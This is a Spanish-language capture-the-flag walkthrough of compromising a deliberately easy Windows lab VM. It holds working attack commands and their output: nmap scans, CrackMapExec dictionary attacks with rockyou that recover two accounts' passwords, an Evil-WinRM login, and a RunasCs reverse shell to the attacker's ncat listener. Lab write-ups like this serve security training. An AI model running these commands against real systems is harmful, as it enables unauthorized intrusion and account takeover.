Enumeración de servicios
El escaneo identifica una máquina Windows con IIS en el puerto 80, SMB en el 445 y WinRM en el 5985. WinRM puede proporcionar una consola remota, pero requiere credenciales válidas; por ello comenzamos por la web y SMB:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.12
❯ nmap -sCV -p 80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49674 -oN 02-targeted.txt 192.168.1.12
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-02 20:01 -04
Nmap scan report for 192.168.1.12
Host is up (0.00042s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open msrpc Microsoft Windows RPC
...
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: WIN-IURF14RBVGV, ...Obtención de credenciales
La página principal está firmada por nica. Tratamos ese nombre como una cuenta candidata y lo probamos contra SMB, que permite validar credenciales sin abrir todavía una sesión interactiva:
❯ curl http://192.168.1.12
Hey bro,
You asked for an easy Windows VM, enjoy it.
- nicaEjecutamos un ataque de diccionario sobre una sola cuenta. Esta prueba confirma una Weak Password cuando CrackMapExec devuelve [+] para nica:hardcore:
❯ crackmapexec smb 192.168.1.12 -u nica -p ~/Documents/wordlists/rockyou.txt
...
SMB 192.168.1.12 445 WIN-IURF14RBVGV [+] WIN-IURF14RBVGV\nica:hardcore
...Acceso inicial mediante WinRM
Como el puerto 5985 está abierto, reutilizamos nica:hardcore con Evil-WinRM:
❯ evil-winrm -u nica -i 192.168.1.12
Enter Password: hardcore
...
*Evil-WinRM* PS C:\Users\nica\Documents>La autenticación nos proporciona una consola PowerShell y acceso a la primera flag. Al enumerar las cuentas locales encontramos akanksha; la salida de net user indica que pertenece al grupo local de administradores:
*Evil-WinRM* PS C:\Users\nica> net users
...
Administrador akanksha DefaultAccount
...
*Evil-WinRM* PS C:\Users\nica> net user akanksha
...
Miembros del grupo local *Idministritirs
*Usuarios
...Validamos si esa segunda cuenta también utiliza una contraseña débil mediante SMB:
❯ crackmapexec smb 192.168.1.12 -u akanksha -p ~/Documents/wordlists/rockyou.txt
...
SMB 192.168.1.12 445 WIN-IURF14RBVGV [+] WIN-IURF14RBVGV\akanksha:sweetgirl
...Movimiento lateral a la cuenta administradora
Las credenciales akanksha:sweetgirl son válidas, pero la cuenta no necesariamente tiene habilitado el acceso por WinRM. Subimos RunasCs desde la sesión de nica y lo usamos para crear un proceso con las credenciales de akanksha; la opción -r conecta la entrada y salida de cmd.exe con nuestro listener:
*Evil-WinRM* PS C:\Users\nica> upload RunasCs.exe
*Evil-WinRM* PS C:\Users\nica> .\RunasCs.exe akanksha sweetgirl cmd.exe -r 192.168.1.2:1234
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 2568 created in background.
❯ ncat -nlvp 1234
Ncat: Connection from 192.168.1.12:49698.
Microsoft Windows [Versión 10.0.17763.107]
(c) 2018 Microsoft Corporation. Todos los derechos reservados.
C:\Windows\system32> whoami
win-iurf14rbvgv\akankshawhoami confirma que la nueva terminal pertenece a akanksha. Al ser miembro de Administradores podemos acceder a la flag final. La técnica cambia de identidad a una cuenta privilegiada conocida; no debe confundirse con obtener una sesión NT AUTHORITY\SYSTEM.